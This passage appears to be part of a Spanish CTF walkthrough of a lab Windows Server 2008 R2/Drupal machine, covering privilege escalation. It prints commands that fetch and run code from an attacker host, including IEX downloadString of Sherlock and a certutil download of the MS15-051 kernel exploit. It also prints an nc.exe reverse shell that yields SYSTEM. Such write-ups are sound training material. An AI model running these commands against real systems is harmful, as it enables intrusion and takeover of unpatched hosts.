[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930)
[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical
[*]   http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC
[*]   http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[E] MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802)
[M] MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957)
[E] MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852)

El 0 hotfix(es) lo dice todo: la máquina no tiene ni una actualización instalada, y por eso quedan 197 boletines sin descartar. El problema es el contrario al esperado: hay demasiados candidatos y la herramienta solo imprime enlaces concretos para MS12-037, que son dos PoC de Internet Explorer sin utilidad para escalar privilegios. La lista es orientativa, no accionable.

Cambiamos a Sherlock, que en vez de comparar contra una base de datos consulta el estado real del sistema desde dentro:

Repositorio Sherlock de rasta-mouse en GitHub, marcado como Public archive y con el aviso Deprecated. Have a look at Watson instead

rasta-mouse / Sherlock   (Public archive)
This repository was archived by the owner on Sep 17, 2021. It is now read-only.
Deprecated. Have a look at Watson instead.

El propio repositorio avisa de que está archivado y recomienda Watson. Para un Server 2008 R2 sigue sirviendo perfectamente, pero conviene saberlo: en sistemas modernos hay que usar el sucesor.

git clone https://github.com/rasta-mouse/Sherlock
cd Sherlock
python3 -m http.server 80
IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')

git clone de Sherlock, el servidor python registrando el GET /Sherlock.ps1 con 200, y el IEX ejecutado desde la shell de la víctima

Cloning into 'Sherlock'...
Receiving objects: 100% (75/75), 33.97 KiB | 6.79 MiB/s, done.

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.9 - - [13/Dec/2025 19:07:04] "GET /Sherlock.ps1 HTTP/1.1" 200 -

PS C:\> IEX(New-Object Net.WebClient).downloadString('http://10.10.16.4/Sherlock.ps1')
PS C:\Windows\Temp\privesc>

El IEX carga el script en memoria: no deja fichero en disco y, al terminar, las funciones quedan disponibles en esa sesión de PowerShell.

Find-AllVulns

Sherlock marcando MS15-051 como Appears Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
VulnStatus : Appears Vulnerable

MS15-051 (elevación por kernel) es de los más fiables que existen para esta generación de Windows. En lugar del binario adjunto al boletín, usamos el compilado del repositorio de SecWiki:

Repositorio SecWiki/windows-kernel-exploits en GitHub, carpeta MS15-051, con el README mostrando el uso c:\&gt; MS15-051.exe whoami

SecWiki / windows-kernel-exploits / MS15-051 / README.md
The POC was from @hfiref0x
Vulnerability reference: MS15-051 / CVE-2015-1701

Usage
c:\> MS15-051.exe whoami

El uso que documenta el README es la clave: el binario no abre una shell, sino que ejecuta como SYSTEM el comando que se le pase como argumento. Así que primero lo probamos con whoami para confirmar que funciona:

certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
.\ms15-051x64.exe whoami

certutil descargando ms15-051x64.exe y el exploit ejecutando whoami, que devuelve nt authority\system

PS C:\Windows\Temp\privesc> certutil.exe -f -urlcache -split http://10.10.16.4/ms15-051x64.exe ms15-051x64.exe
CertUtil: -URLCache command completed successfully.
PS C:\Windows\Temp\privesc> .\ms15-051x64.exe whoami
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 1672 created.
nt authority\system

Confirmado. Ahora, con el listener a la escucha, le pasamos el nc.exe que ya habíamos subido para convertirlo en una shell de verdad:

rlwrap nc -nlvp 4321
.\ms15-051x64.exe "nc.exe -e cmd 10.10.16.4 4321"

El exploit lanzando nc.exe y el listener rlwrap nc en el 4321 recibiendo la conexión desde 10.10.10.9, con whoami devolviendo nt authority\system y el type de root.txt

listening on [any] 4321 ...
connect to [10.10.16.4] from (UNKNOWN) [10.10.10.9] 49290
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\Temp\privesc>whoami
nt authority\system

C:\Windows\Temp\privesc>type c:\Users\administrator\desktop\root.txt
8c09d68eeaa4822b83fa5b1a00a2b709

Misma flag por la segunda vía. rlwrap envuelve al nc para darle histórico de comandos y edición de línea, que una shell de cmd.exe cruda no tiene.

Cadena de ataque

HTTP/IIS 7.5 -> Drupal 7.54 (robots.txt -> CHANGELOG.txt, droopescan: módulo services)
   │ searchsploit: dos RCE disponibles
   ▼
CVE-2019-6340 (Services) ──┐         Drupalgeddon2 (CVE-2018-7600)
   │ /node/1 -> api_test    │            │ exploit "de botón"
   │ /rest = endpoint_path  │            │ sin web root escribible -> comandos OS
   ▼                        ▼            ▼
shell.php (webshell) ───────┴──→ RCE como nt authority\iusr
   │ Nishang + Penelope :4444
   ▼
SeImpersonatePrivilege (Server 2008 R2 RTM, 0 hotfixes)
   ├── JuicyPotato (CLSID de wuauserv) -> SYSTEM
   └── (alternativa) Sherlock -> MS15-051 -> SYSTEM
   │
   ▼
user.txt (dimitris) + root.txt (Administrator)

Lecciones aprendidas

  • La versión exacta lo es todo. El robots.txt señalaba el CHANGELOG.txt, droopescan sugirió 7.54 y el fichero lo confirmó. Ocultar los ficheros de versión no arregla el fallo, pero al menos no lo regala. Lo que arregla es actualizar.
  • Enumerar el CMS vale más que fuzzear rutas. gobuster devolvió decenas de directorios que eran el esqueleto estándar de Drupal; droopescan devolvió el módulo services instalado, que es justo lo que abrió la primera vía.
  • Hay que leer el exploit y descubrir el endpoint, no asumirlo. El 41564.php traía endpoint_path = '/rest_endpoint' de ejemplo y esa ruta daba 404; enumerar /node/<id> reveló que el nombre interno es rest_endpoint pero la ruta es /rest. Confundir ambas cosas es lo que hacía fallar el ataque.
  • Un exploit bien escrito degrada en vez de rendirse. Drupalgeddon2 no pudo escribir en el web root de IIS en ninguna de las tres rutas que probó y, en lugar de abortar, cayó a comandos OS directos. Leer la salida completa enseña más que quedarse con el resultado.
  • SeImpersonatePrivilege en cuentas de servicio = SYSTEM. iusr lo tenía; la familia Potato lo convierte en Administrator. En sistemas antiguos hay que elegir un CLSID compatible de la lista del repositorio, aunque la edición no sea idéntica.
  • El kernel sin parchear es la red de seguridad del atacante. windows-exploit-suggester reportó 0 hotfixes contra 197 boletines: demasiados candidatos y ningún enlace útil. Sherlock, que consulta el sistema desde dentro, señaló MS15-051 directamente. Dos herramientas del mismo tipo, resultados de utilidad muy distinta.
Cheatsheet de comandos 28 comandos

Repaso rápido